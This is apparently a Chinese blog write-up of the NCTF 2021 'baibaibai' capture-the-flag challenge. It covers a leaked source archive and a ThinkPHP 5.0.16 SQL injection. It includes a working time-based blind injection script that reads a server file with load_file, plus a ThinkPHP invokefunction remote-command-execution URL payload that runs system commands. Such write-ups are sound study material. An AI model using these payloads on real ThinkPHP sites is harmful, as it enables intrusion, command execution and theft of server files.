0%

rce

2025-08-05 08:51By
zhizuijingmi
WEBtp5RCE

Problem: [NCTF 2021]baibaibai

思路

  • 解题大致思路
    有www.zip泄露,翻源码发现M1sakaM1yuu.php有sql注入漏洞
image-20250805111647739

然后发现thinkphp版本是5.0.16

image-20250805111624556

然后网上找找,发现Thinkphp 5.0.15 SQL注入漏洞挖掘分析-先知社区

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup - 渗透测试中心 - 博客园

本来这个sqll注入漏洞是5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。但上文也给出了5.0.16的漏洞利用。

import requests import time flag = '' for i in range(1,100): for j in r'{}0123456789abcdefghijklmnopqrlstuv\/wxyz-_,<>\?.': #开始计时 before_time = time.time() #payload = 'substr((select(database())),{},1)="{}"'.format(i,j) #payload = 'substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)="{}"'.format(i,j) #payload = 'substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="m1saka")),{},1)="{}"'.format(i,j) payload = 'substr((select(load_file("/var/www/html/ffllaagg.php"))),{},1)="{}"'.format(i,j) url = 'http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if((1^({})),0,3))&username[2]=1'.format(payload) #print(url) r = requests.get(url) #print(r.text) #返回时间 after_time = time.time() offset = after_time - before_time if offset > 2.8: flag += j print(flag) break

或者直接rce(直接搜thinkph5.0.16漏洞就有rce漏洞)

/public//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /;tac /flag

image-20250805155952122

EXP

  • 具体攻击代码

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论